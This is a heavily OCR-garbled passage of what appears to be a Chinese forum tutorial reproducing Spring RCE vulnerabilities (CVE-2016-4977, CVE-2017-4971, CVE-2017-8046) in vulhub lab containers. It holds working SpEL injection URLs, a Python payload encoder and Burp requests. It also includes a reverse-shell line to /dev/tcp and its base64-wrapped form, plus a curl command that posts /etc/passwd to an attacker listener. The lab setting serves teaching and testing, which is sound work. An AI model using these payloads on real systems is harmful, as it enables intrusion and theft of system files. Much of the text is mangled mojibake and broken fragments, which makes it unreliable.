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Spring Security OAuth2 Zf2aH<HITRIE (CVE-2016-4977)

MRS

2.0.0-2.0.9

TS
WL P F1V5E17

1.0.0-1.0.5

$ sudo docker-compose up -d

[sudo] dayu BYEEHS:
Creating network "cve-2016-4977_default” with the default driver
Pulling spring (vulhub/spring-security-oauth2:2.8.8)...
2.0.8: Pulling from vulhub/spring-security-oauthz
c73ab1c6897b: Downloading [=> ] 457.9kB/45.14MBlling fs layer
b542772b4177: Pulling fs layer
b542772b4177: Downloading [> ] ¢73ab1c6897b: Pull complete
1ab373b3deae: Pull complete
: Pull complete
: Pull complete
: Pull complete
6: Pull complete
: Pull complete
: Pull complete
: Pull complete
: sha256:74841c02e28129537bad08ab430c4T418508e575bd100acBe6aeb98c54T82T4F
: Downloaded newer image for vulhub/spring-security-oauth2:2.0.8
Creating cve-2016-4977_spring_1 ...

N CE=E
1ale]

cd vulhub-master/spring/CVE-2016-4977

« c @ © & 192.168.175.209:8080 - ¥ A

% XML MR B S HXERNE SR, RERNENT,

-<oauth>
—<error_description>
Full authentication is required to access this resource
</error description>
<error>unauthorized </error>
</oauth>

i B 98 I

Valhiz url AT E R

https://forum.butian.net/share/502

2/37



2021/8/23 A ZAF L L X -Spring 515 5 4

sudo docker-compose up -d

- 192.168.175.209:8080/ X
2% * 8 =

<« X @ 192.168.175.209:8080/0auth/authorize?response._type=${233*233}&client_id=acme&iscope=oper n @ o @ o =
FEFE - Mozilla Firefox

1Z XML M HRESEHIXBRIER. RN BT T, htp://192.168.175.200:8080 [ELE KA, EHIEHS,
BTR: "Spring”

| |
- <oauth>
- =
—<error_description> =ish
Full authentication is required to access this resource e

</error_description>
<error>unauthorized</error>
</oauth>

A SZEE

http://192.168.175.209:8080/

SEFRMI

192.168.175.209:8080/0auth/au X

n 0 o B *o@ =

i

B

<« Cc @ © % 192.168.175.209:8080/0auth/authorize?response_type=${233*233)&client id=acm: +»» & ¥
OAuth Error

error="unsupported_response_type", error_description="Unsupported response typeg: [54289]"

& O=ss Osse OEE NREE () etess Que Ons 0ok 4 DK 5 U885 @ HackBar 0 e X
Encryption v Encoding~ SQL~ XSS~ Other ~ Contribute now! HackBar v2
@ Load URL hitp://192.168.175.209: sosomaum/aumorizevresponse,typezi(zw ; lient_i =oper & p:
& seitURL
) Execute

[0 Postdata [J Referer [J User Agent [J Cookies Clear All

Poc

BAIE—T vulhub 1289 Poc

http://192.168.175.209:8080/0auth/authorize?response_type=${233*233}&client_id
=acme&scope=openid&redirect_uri=http://test

XEBZ java W <SHIIT

14 5
2 message, =1
3 poc =

4 ch

5 poc +=

6 poc += " );

7 (poc)|

rd(message[0])
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17— poc.py

ing(111)). concat(T(j

to encode :whoami
untime) .
t(T(j

Mix RCE

AT S E whoami  EEIEHNEIFIA A

Ap

e

MAT—F
admin
MATARII

192.168.175.209:8080/0auth/au X
X [[\ca iy} o8

<« c @ © % 192.168.175.209:8080/0auth/authorize?response_type=${T(java.lang.Runtime).ge

OAuth Error

error="unsupported_response_type", error_description="Unsupported response types| [java.lang.UNIXProcess@39b60db5]"

XEERE: RERETHRE, BLF EEWSNT

XZFEE RCE

M XXE

JofE bash ™EMIEL

admin

root@kali:~

AV #®EH)

/sbin/nologin

bin/nol
sbin/

ucp: /usr/sbin/nologin
sbin/nologin
sbin/nologin

‘nologin

bin/nologi
rk Management, ,

sbin/nologin

bin/no
bin
K, Lib/tp
r/sbin/nologin
fusr/sbin/nologin
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sbmux daemon, , , r/Lib/usbmux:/usr/s

RealtimeKit, ,, usr/sbin/nologin

dnsmasg:x: 1
ps-pk-helper r for cu r se o0 ps-pk-helpe
ch-dispa r :29: i cher ch-dispatcher: f

kernoops
saned

dayu@ubuntu: ~

$ curl 192.168.175.130:8888 -d "S(cat Jfetc/passwd)’

BAMBEZA LN poc FAEMELH payload

root@kali: ~
WiEE) EEV)
L]

ang.Char: 5 2 g 5 ng. Character). to
oString(49)

r).
t(T(ja

#!/usr/bin/env python

a8

listening on [any]

MATALN
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€ cC @ © % 192.168.175.209:80

OAuth Error

< r="unsupported_response_type", error_description="Unsupported response types| [java.lang.UNIXProcess@e4036fd]"

auth/authorize?respon

> type=$(T(javalang.Runtime).getl sss

BREX nc kB /G BEIRBRAE T

1 from localhost [192.16

BRIICR

&« C ® © & wwwjackson-t.ca/runtime-exec-payloads.html B

n o o 08 =
@Jackson_T java.lang.Runtime.exec() Payload Workarounds

Hello! I'm Jackson, and thisisaplace  Mon 12 December 2016

for me to publish shareable thoughts
Occasionally there are times when command execution payloads via
About  prtime. getRuntime().exec() fail. This can happen when using web shells, deserialization ex-
;";::;: ploits, or through other vectors.
Categories gometimes this is because redirection and pipe characters are used in a way that doesnit make
Dk heme  S€NSE N the context of the process that's being launched. For example, execting 1s >

dir_listing ina shell should output a listing of the current directory into a file called dir_1ist-
ing . But in the context of the exec() function, that command would instead be interpreted to
fetch the listings of the > and dir_listing directories

Other times, arguments with spaces within them are broken by the StringTokenizer class which
splits command strings by spaces. Something like 1s "My Directory” would then be interpreted
as 1s '"My' 'Directory”’

With the help of Base64 encoding, the converter below can help reduce these issues. It can make
pipes and redirects great again through calls to Bash o PowerShell and it also ensures that there
aren't spaces within arguments.

Input type: @Bash O PowersShell O Python O Perl

curl 192.168.175.130:8888 -d "$ (cat /etc/passwd)” |

bash -c
{echo, ¥: TuMTY4L3E achj ia=) |
{base64,-d} | (bash, -i}

message = input('Enter message to encode:')

https://forum.butian.net/share/502 6/37
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mnw
concat(T(java.lang. Character).t

2K payload

poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toStrin

g(%s)' % ord(message[0])

MATZ/m BRIHEE

A

© % E

080/0auth/authorize?response_type=${T(java.lang.Runtime).ge

<« c @ © & 192.168.175.20

OAuth Error
|java.lang.UNIXProcess@b879d36]"

unsupported_response_type", error_description="Unsupported response types:

lhost [192.168

sr/sbin: fusr/sbin/n
usr/sbin/nologin
/usr/sbin/nol

sbin/nologin
mnfn.

/nologin

5% shell
A AIXDF E & /258 shell 7
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for ch in message[1:]:

£

e [

< ¢ @

@Jackson_T

Hello! I'm Jackson, and this is a place
for me to publish shareable thoughts.

About
Contact
Archives
Categories

Dark Theme

© & wwwjackson-t.ca/runtime-exec-payloads.html B - O W

java.lang.Runtime.exec() Payload Workarounds
Mon 12 December 2016

Occasionally there are times when command execution payloads via
Runtime.getRuntime().exec() fail. This can happen when using web shells, deserialization ex-
ploits, or through other vectors.

Sometimes this is because redirection and pipe characters are used in a way that doesn't make
sense in the context of the process that's being launched. For example, executing 1s >
dir_listing in a shell should output a listing of the current directory into a file called dir_list-
ing . Butin the context of the exec() function, that command would instead be interpreted to
fetch the listings of the > and dir_listing directories.

Other times, arguments with spaces within them are broken by the StringTokenizer class which
splits command strings by spaces. Something like 1s "My Directory” would then be interpreted
as 1s '"My' 'Directory”’ .

With the help of Base64 encoding, the converter below can help reduce these issues. It can make
pipes and redirects great again through calls to Bash or PowerShell and it also ensures that there
aren't spaces within arguments.

Input type: @Bash O PowerShell CPython OPerl

bash -i >& /dev/tcp/192.168.175.130/8888 0>&l

bash -c {echo, YmFzaCAtaSA+JiAVZGV2L3R]jcCEBXOTTUMTY4L]E3NS4xMzAVODg40CAWRiYX} |
{base64,-d} | {bash, i}

"

poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch)

Bz SN Poc

10 enc

BT
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n o o B *o08

<« c @ © % 192.168.175.209:8080/0auth/authorize?response_type=$(T(java

OAuth Error

error="unsupported_response_type", error_description=

lang.Runtime).ge

Unsupported response types: [java.lang.UNIXProcess@1f614778]"

AINER] shell

root @ kali: ~
wH(E) EAH(V) #FENH)
root@kali: ~ root@kali: ~

te
control

1t Poc

print(poc)

om,sr\T\]:
a r).te
h)r\s\gx\ ). (om,sﬂ‘ﬂ ja

tring(97)).co
Tang.Cha
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=28 payload

http://192.168.175.209:8080/0auth/authorize?response_type=${T(java.lang.Runtim
e).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(java.lang.C
haracter).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T
(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(10
9)).concat(T(java.lang.Character).toString(105)))}&client_id=acme&scope=openid
&redirect_uri=http://test

MATRINfE

n o o B *o08

it
\*}

<« cC @ © & 192.168.175.209:8080/0auth/authorize?response_type=${T(java.lang.Runtime).geti +ss v

OAuth Error

error="unsupported_response_type", error_description="Unsupported response types: [java.lang.UNIXProcess@28c4e2¢3]"

root@kali: ~

fR(E) ZHAH(V) FHH)
= root@kali: ~ roct@kali: ~ root@kali: ~

1 from localhost [192.168 209] 58932

-form-urlencoded

in/nologin

r/sbin/nologin

Spring Web Flow 1EZRiZfE 1817 (CVE-2017-4971)

o MhRZS

curl 192.168.175.130:8888 -d "$(cat /etc/passwd)"

ik REEENF RS

A
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)2 BIHY docker 1%

N

:~$ sudo docker ps
CONTAINER ID IMAGE COMMAND
NAMES
812f1315859%e vulhub/spring-security-oauth2:2.0.8 "java -Djava.securit.."
, :©::8080->8080/tcp cve-2016-4977_spring_1

:~5 sudo docker stop 812f1315859e
812f1315859%e
:~$ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES

WE2/FF vulhub #7185

nc -lvp 8888

[sudo] dayu'ﬁﬂﬁﬁﬁgi

CREATED

2 hours ago

Creating network "cve-2017-4971_default" with the default driver

Pulling spring (vulhub/spring-webflow:2.4.4)...
2.4.4: Pulling from vulhub/spring-webflow
6d827a3ef358: Pull complete

2726297beaf1: Pull complete

d6e483851652: Pull complete

Bab260573986: Pull complete

b7c48ceedb2b: Pull complete

1368ab15aalc: Pull complete

e4b9cB85c3ed6: Pull complete

ee3dc5dle4c7: Pull complete

e101174ccdbd: Pull complete

babal268532be: Pull complete

2882e4bbd1b5: Pull complete

3d732531908c1: Pull complete

a96322b5d265: Pull complete

STATUS

Up 2 hours

PORTS

0.0.0.0:8080->8080/tcp

S sudo docker-compose up -d

Digest: sha256:028967f287843f1ab4fc39ae3fad50c47fd8Abe565d5b7635f0fb573dag973517
Status: Downloaded newer image for wvulhub/spring-webflow:2.4.4

Creating cve-2017-4971 _spring_1 ...

ey EE=E

i g I

NN

1510
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http://192.168.175.209:8080/0auth/authorize?response_type=${T(java.lang.Runtim
e).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Ch
aracter).toString(117)).concat(T(java.lang.Character).toString(114)).concat(T
(java.lang.Character).toString(10@8)).concat(T(java.lang.Character).toString(3
2)).concat(T(java.lang.Character).toString(49)).concat(T(java.lang.Character).
toString(57)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.C
haracter).toString(46)).concat(T(java.lang.Character).toString(49)).concat(T(j
ava.lang.Character).toString(54)).concat(T(java.lang.Character).toString(56)).
concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toSt
ring(49)).concat(T(java.lang.Character).toString(55)).concat(T(java.lang.Chara
cter).toString(53)).concat(T(java.lang.Character).toString(46)).concat(T(java.
lang.Character).toString(49)).concat(T(java.lang.Character).toString(51)).conc
at(T(java.lang.Character).toString(48)).concat(T(java.lang.Character).toString
(58)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Characte
r).toString(56)).concat(T(java.lang.Character).toString(56)).concat(T(java.lan
g.Character).toString(56)).concat(T(java.lang.Character).toString(32)).concat
(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(1l
00)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Characte
r).toString(34)).concat(T(java.lang.Character).toString(36)).concat(T(java.lan
g.Character).toString(4@)).concat(T(java.lang.Character).toString(99)).concat
(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(l
16)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Characte
r).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.la
ng.Character).toString(116)).concat(T(java.lang.Character).toString(99)).conca
t(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString
(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Characte
r).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.l
ang.Character).toString(119)).concat(T(java.lang.Character).toString(100)).con
cat(T(java.lang.Character).toString(41)).concat(T(java.lang.Character).toStrin
g(34)).concat(T(java.lang.Character).toString(32)))}

Spring Travel: Spring MVC and |/ X

<« c @ O % 192.168.175.209:8080 | Qs n 0 0 @ *o0o8 :

Login

,-“‘

’ Welcome to Sprlng Travel

This sample demonstrates how to use Spring MVC and Spring Web Flow together with Thymeleaf and Tiles.

https://forum.butian.net/share/502
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The key features ilustrated in this sample include:

« Adeclarative navigation model enabling full browser button support and dynamic navigation rules
 Afine-grained state management model, including support for ConversationScope and ViewScope
« Modularization of web applcation functionality by domain use case, ilustrating project structure best-practices
 Spring Expression Language (SpEL) integration

« Spring 3 formatting D.

« Spring MVC custom namespace

« Spring Security integration

« Annotated POJO @Controllers for implementing RESTful user interactions.

« Declarative page authoring with Thymeleaf and its Spring MVC's integration features

» Page layout and composition with Apache Tiles

« A JavaScript AP for decorating HTHL elements with behaviors such as Ajax, validation, and effects
* Agrid layout with Blueprint CSS

« Exception handiing support across all layers of the application

« SpringSource Tool Stite integration, with support for graphical flow modeling and visualization

Start your Spring Travel experience

192.168.175.209:8080

RERIKS / BEERAR

« [} | © # 192168.175.209:8080/login noe o 08 =

Login

Valid username/passwords are: Login Information

+ keitumelboume User:
+ ervinleuven

+ jeremylatianta \

+ scotthochester Password:

Don't ask for my password for two weeks:

& c @ © 4 192.168.175.209:8080/hotels/search @l QeEs

Welcome, keith | Logout

Search Hotels

Search String: Maximum results:| 5 | m

Current Hotel Bookings

No bookings found

RETRIE) id=1 A9)B S HbIE

https://forum.butian.net/share/502 13/37
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Spring Travel: Spring MVC and \ X [iEd

<« c @ 9] &'192.168.175,209305( - @ QEz n o e o *o0 8 =

Welcome, keith | Loda

Westin Diplomat

3555 S, Ocean Drive
Hollywood, FL, 33019
UsA

Nightly Rate: 199.00

Book Hotel

Spring Travel: Spring MVC and | X

<« c @ © # 192.168.175.209:8080/hotels/booking?execution=e1s1 B ~-9% Qaz n o e 08 =

Welcome, keith | Logout ~

Westin Diplomat Book Hotel

3555 S. Ocean Drive Check In: 05-22-2021
Hollywood, FL, 33019

USA Check Out: 05-23-2021

Nighty rate: 199.00 Room Pref .
oom Preference: One king-size bed ||

Smoking Preference: ) Smoking @ Non Smoking
Amenities: [ |Ocean View

[ |Late Checkout

[ Minibar

Credit Card Name: 123123

Expiration Date: 3an [¥] 200871

=

https://forum.butian.net/share/502 14/37
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Spring Travel: Spring MVC and \ X

<« c @ ©  # 192.168.175.209:8080/hotels/booking?execution=e1s3 - @ QEz noe o 0@ =

Welcome, keith | Logout

Westin Diplomat Confirm Booking Details

3555 S. Ocean Drive Check In: Sat May 22 00:00:00 UTC 2021
Hollywood, FL, 33019

UsA Checkout: Sun May 23 00:00:00 UTC 2021

Number of Nights: 1
Total Payment 199.00

Credit Card # 1212121212121212

m

Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz
Burp Project Intruder Repeater Window Help

[ Dashboard ITarget Tmey T Intruder T Repeater T Sequencer I Decoder I Comparer I Extender T Project options I User options

j]nten:ept T HTTP history IWehSockets histary I Options }

/ Request to http://192 168.175 209-8080

l Forward J { Drop J l Intercept is on ] l Action J

Raw | Params | Headers | Hex

POST /hotels/booking?execution=e1s3 HTTP/1 1

Host: 192.168.175.209:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; nv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html applicationfxhtml+xml application/xml;g=0.9 imagefwebp ** ¢=0.8
Accept-Language: zh-CM,zh;¢g=0.8,zh-TW,q=0.7 ,zh-HK; g=0.5 .2n-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 0

Origin: hitp:/f192.168.175.209:8080

Connection: close

Referer: http://192.168.175.209:8080/hotels/booking?execution=e1s3

Cookie: JSESSIONID=A486836414629EF73EIF4540161D8A3D
Upgrade-Insecure-Requests: 1

_eventld_confirm=E&_csrf=dB938294 c4ff-440d-bddb-c570dBCT 77

Poc(=35# shell)

&client_id=acme&scope=openid&redirect_uri=http://test

https://forum.butian.net/share/502 15/37
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! Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz
Burp Project Intruder Repeater Window Help

(issoeama o oo R ] o] oyt oo P usssors)

A ZAEBW X -SpringiBi& & 4

Lo Tl |

[ o

Request

Raw | Params | Headers | Hex

Headers | Hex | HTML | Render |

Torgos sz ea 15 08080 ()

POST hotels/booking?execution=s1s3 HTTP/T.1
Host: 192.168.175.209.8080

User-Agant: Mazilla findows NT 10.0; Winbd: »64; n:88.0) Gecko20100101 Firsfox/88.0
texthtml application/htm+xmi, applcation/xml;=0.9 image/wel
anguage: zh-CN.zh;q=0.8 ZhTW.q=0.7 zh-HIC g US;q=03.2
oding: gzip, deflate

Cantent Typs: application/x-www-form-urlencoded
Cantent Length: 172

Origin: hitp://192.168.175 2098080

Cannection: closs

Referer: htp.//192.168.175.209:8080/hatels/booking
Caokie: JSESSIONID=A48E336414529EF 739
Upgrade-Insecure-Requests: 1

938291 cAf-440d-bd0b-c570 _(new java.lang ei(bash "¢ "bash+

svenld_confim=5.:
542617 stan=vahub

168.175.130/8888

@ [ [rreasae

Done

PUINE EI 258 shell

nnot set terminal pre
no job control in this

0 matches

HTTP/1.1 500 Internal Servar Evror
T

T
JXSS Pratston T modeetlock
Cact o, mosis
tions: DENY
Yoo toxUhmcharset=ut
ContntLanguage. an
e, . 21 My 2021 021923 G
ContentLongih 10547
Tomcat/8.0.43 - Error e: e type="text/css">H1
i -
H3
: Boov
b o
; ¢ ; ; (colo : biackmame (ol : biacine (hight: s
background-color: #525D76; border: nons le> </head><body><h1>HTTP Status 500 - Handler dispatch failed; nested exception is
ot o< s <g <o typoci Excoption eporte andlordipatch aled;
nested exception is 1: ipti <u>The server encountered an intemal error that prevented it
Trom uliling thi reguon10-< < <1 xcepton-/i-</p-c ; fon Handler dispach
failed; nested exception is java.lang.lllegalAccessError
et
o
et
; Jovastr)
il a doFil q
e tomeat Water doFlorWeFile ovass2
FikerChalnProxyVinualFiorcral

o Wb 0 matches

11,287 bytes | 128 millis

curl 192.168.175.130:8888 -d "$(cat /etc/passwd)"”

https://forum.butian.net/share/502
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! Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz
Burp Project Intruder Repeater Window Help

e e e e

A ZAEBW X -SpringiBi& & 4

Lol

Go <|v
Request

Raw | Params | Headers | Hex |

Target: htp/192:168.175.209:0080 2 (2)

Response

[ s [ o [ [

POST otels/booking?execution=es3 HTTP/1 1

Hast: 192.168.175.209.8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winbd; x64; v88.0)
texthtml application/html +xmi,application/xm
Language: zh-CN,zhiq=0 8.zh-TW:q=0.7 zh-HK;
Accept-Encoding: gzip, deflate

CantentTyps: application/x-www-form-urlencoded
Cantent Length: 122
Origin: htp: 68.175,200:8080
Cannection: close

00101 Firefox/88.0

imagefwebp.

P08
enUSig=0 3.emq=02

168,175 209.8080/hotels/booking?execution=e1s3
1868364146 29EF73EIF 4540161D8A9D
Upgrade-Insscure-Requests: 1

_eventld_canfirm=6._csrf=d393829f.c.

@ = [ e

Done

0 matches

HTTP/1.1 500 Intemal Servr Eor
Server: Apache-Cayote/1.1
X-Content-Type-Options: nosniff
XXSS-Protection: 1; made=black
Cache-Contral: no-store

Pragma

Expires:

XFrame-Options: DENY
Content-Typs: text/html;charsst=utf8
Content-Language: en

Date: Fii, 21 May 2021 022418 GMT
Cannection: close

CantentLength: 10947

Jr

til><hsad><titls>Apache Tomcat8.0.43 - Error report</itle><siyle type="text/css">H1

Arial
Arial,
Arial
Arial,

P
Atial, {color : b {color : black;)line {height: 1px;
background-color: #525D76; border: nones}</style> </head><body><h1 >HTTP Status 500 - Handler dispatch failed; nested exception is
I Exception rep <u>Handler dispatch failed;
ipti <u>The server encountered an internal error that prevented it
i don: Handler dispatch

div class="line" e

nested exception is j p><p:
this request.</u></p><p><t
ed exception is java.lang.lilegalAccessError

Vet htt

Vet htt

JavaiTi)
)

he X 0 javai5?)
i FilterChainProxy$VirtualFilterChai

java114) i

@ =EJE) 0 matches

11,287 bytes | 78 mills

AE NERIA H AT

bash -c {echo, Y3VybCAXOTIuMTY4LE3NS4xMzAG0Dg40CAtZCALIChIYXQgL2VOYyOwYXNzd2Qp

IiA=}1{base64,-d} | {bash,-i}

Spring data Rest itf2i<M1Ta5< (CVE-2017-8046)

oIk S
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http://192.168.175.209:8080/0auth/authorize?response_type=${T(java.lang.Runtim
e).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Ch
aracter).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(j
ava.lang.Character).toString(104)).concat(T(java.lang.Character).toString(3
2)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).
toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.C
haracter).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T
(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(10
4)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Characte
r).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lan
g.Character).toString(51)).concat(T(java.lang.Character).toString(86)).concat
(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString
(98)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Characte
r).toString(65)).concat(T(java.lang.Character).toString(120)).concat(T(java.la
ng.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat
(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(l
17)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Characte
r).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lan
g.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat
(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString
(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Characte
r).toString(78)).concat(T(java.lang.Character).toString(83)).concat(T(java.lan
g.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat
(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(l
22)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Characte
r).toString(54)).concat(T(java.lang.Character).toString(79)).concat(T(java.lan
g.Character).toString(68)).concat(T(java.lang.Character).toString(103)).concat
(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(?
9)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).
toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.
Character).toString(90)).concat(T(java.lang.Character).toString(67)).concat(T
(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(10
5)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).
toString(67)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.
Character).toString(106)).concat(T(java.lang.Character).toString(89)).concat(T
(java.lang.Character).toString(88)).concat(T(java.lang.Character).toString(8
1)).concat(T(java.lang.Character).toString(103)).concat(T(java.lang.Characte
r).toString(76)).concat(T(java.lang.Character).toString(50)).concat(T(java.lan
g.Character).toString(86)).concat(T(java.lang.Character).toString(48)).concat
(T(java.lana.Character).toStrina(89)).concat(T(iava.lana.Character).toStrina(l
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o _ ) . é?ﬁﬂ%ﬁg§@@@ﬁ% 3 ) .
21)).concat(T(java.lang.Character).toString(57)).concat(T(java.lang.Characte

r).toString(119)).concat(T(java.lang.Character).toString(89)).concat(T(java.la
ng.Character).toString(88)).concat(T(java.lang.Character).toString(78)).concat
(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString
(100)) .concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Characte
r).toString(81)).concat(T(java.lang.Character).toString(112)).concat(T(java.la
ng.Character).toString(73)).concat(T(java.lang.Character).toString(105)).conca
t(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString

(61)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Characte

r).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.l
ang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).conca
t(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString
(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Characte
r).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lan
g.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat
(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString
(124)) .concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Charact
er).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.la
ng.Character).toString(115)).concat(T(java.lang.Character).toString(104)).conc
at(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString
(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Characte
r).toString(125)))}

REEE
)2 BIRY docker £1&

$ sudo docker-compose stop

[sudo] dayu BYZREG:
Stopping cve-2017-4971 spring_1 ...

s

&client_id=acme&scope=openid&redirect_uri=http://test

H $ sudo docker-compose up -d
Creating network "cve-2017-8046 default" with the default driver

Pulling spring (vulhub/spring-rest-data:2.6.6)...

2.6.6: Pulling from vulhub/spring-rest-data

c73ab1c6897b: Already exists

1ab373b3deae: Already exists

b542772b4177: Already exists

0bcc3741ab14: Already exists

421d624d778d: Already exists

26ad58237506: Already exists

8dbabc9eb2b8: Already exists

982930be204d: Already exists

430d992d663a: Pull complete

Digest: sha256:46d0b10cA5065b6Te@Bec421854edePa2B81327c42d564839df99e2717b81c135
Status: Downloaded newer image for vulhub/spring-rest-data:2.6.6

Creating cve-2017-8046_spring_1 ...

Y |
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i

el

&« C @ # 192.168.175.209:8080

JSON [FasE L
HF =3 =S =8EET W idiE JSON
v links:

¥ Customers:

href: "http://182.168.175.289: 80888/ customers"
¥ profile:
href: "http://182.168.175.289: 8088/ profile"

i B 9S TIE

NN

1510

http://www. jackson-t.ca/runtime-exec-payloads.html
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€5 C@ # 192.168.175.209:8080/customers/1
ISON S X

G 22 £50RE £FEF VT SON

firstname: "Dave"

lastname: "Mattheus"

gender: "MALE"
¥ address:

street: "4711 Some Place”

zipCode:  "54321"

city: "Charlottesville"
state: VA"
v links:
v self:

href: "http://192.168.175.209: 8680/ customers/1"
* customer:

href:  “http://192.168.175.2089:8888/customers/1"
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Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz
Burp Project Intruder Repeater Window Help

[ Dashboard [Target [ Proxy [ Intruder X Repeater X Sequencer [ Decoder [ Comparer X Extender [ Project options [ User options }

Tu|2x |3l ..
Go Cancel | <|¥ || > |7

Request

Raw | Params | Headers | Hex
GET feustomers/1 HTTRA.1 :
Host; 192.168.175.209:8060

User-Agent: Mazila/s.0 (Windows NT 10.0; WinB4, x64; nv:68.0) Gecka20100101 Firefox/88.0
Accept: text/html application/xhtml+xml application/xml,q=0.9 imagefwebp, ", =0.8
Accept-Language: z0-CN zh: (70 8 2h-TW, =07 zh-HI =05 en-US; =03 en;g=0.2
Accept-Encoding: gzip, deflate

Connection: close

Cookie: JSESSIONID=A486836414629EFT 3EIF4540161D8AID

Upgrade-Insecure-Requests: 1

FMadified-Since: Fri, 21 May 2021 02:30:01 GMT

It None-Match: 0

Cache-Contral: max-age=(0

1ZELRY, PATCH 153K

Poc
bash -i >& /dev/tcp/192.168.175.130/8888 0>&1
HATHAT
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! Burp Suite Professional v2.0beta - Temporary Project - licensed to surferxyz
Burp Project Intruder Repeater Window Help

Dashboard | Target Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options.
| |

A ZAEBW X -SpringiBi& & 4

[z~ Jaual -]

[ | [(<iv] Target: htp:/192168.175.209:8080 7 (2)
Request Response

([ P [rosoon x| (] oo x|

PATCH /eustomersit HTTPITT ol G T

Host: 192.168.175.209:8080
Accept-Encoding: gzip, deflate

Accspt: 1
Accept-Language: en
UserAgert: Maszilaf5 0 (compatile; MSIE 9.0; Windows NT6.1; Wind; x64; Trident/s.0)

Cann
Cantent.
Cantent Le

I

{op": "rplac
o v 203 Rt AR 5o g S e 161111758 045207 6 08 127 416,117 5990101 115 15t
"value™: "o

1

ARIEFAIE docker REE—

] AE R EAINEIERY

H S sudo docker ps
[sudo] dayu BYEEHD:

CONTAINER ID  IMAGE

aB642elebdc2  vulhub/spring-rest-data:2.6.6

COMMAND CREATED
"java -Djava.securit.” 2 hours agoe

$ sudo docker exec -ti a86 bash

STATUS

root@ase4zelebacz:/z 1s_/tm
hsperfdata_root |success
root@ad642elebdcZT7H

Poc [RIE + 3% shell

Up 2 hours

Content-Type: application/halison;charset=UTF-8

Date: Fri, 21 May 2021 02:43.09 GMT
Connsction: close
Content-Length: 456

ype Java.lang UNIXProc
ders. Customar fram ths
nested exception is org expression. spel

ject of type Java.lang. UNIXProcess' - maybe not public?”)

PORTS NAMES
©.0.0.0:8080->8080/tcp, :::8080->8080/tcp Cve-2017-8046_spring_1

tomcat-docbase.548585175556445771.8080 tomcat.3499390570901704030.8080

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8XOTIuMTY4L JE3NS4xMzAvODg40CAWPiYx} | {b

aseb4,-d} | {bash,-i}

18110] on Llinux
, "copyright", "credits" or
yT.join(map(st (map(ord, "touch
,116,109,11

'116,111,117,99, 104,

Sz 5% shell

https://forum.butian.net/share/502
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http://192.168.175.209:8080/0auth/authorize?response_type=${T(java.lang.Runtim
e).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Ch
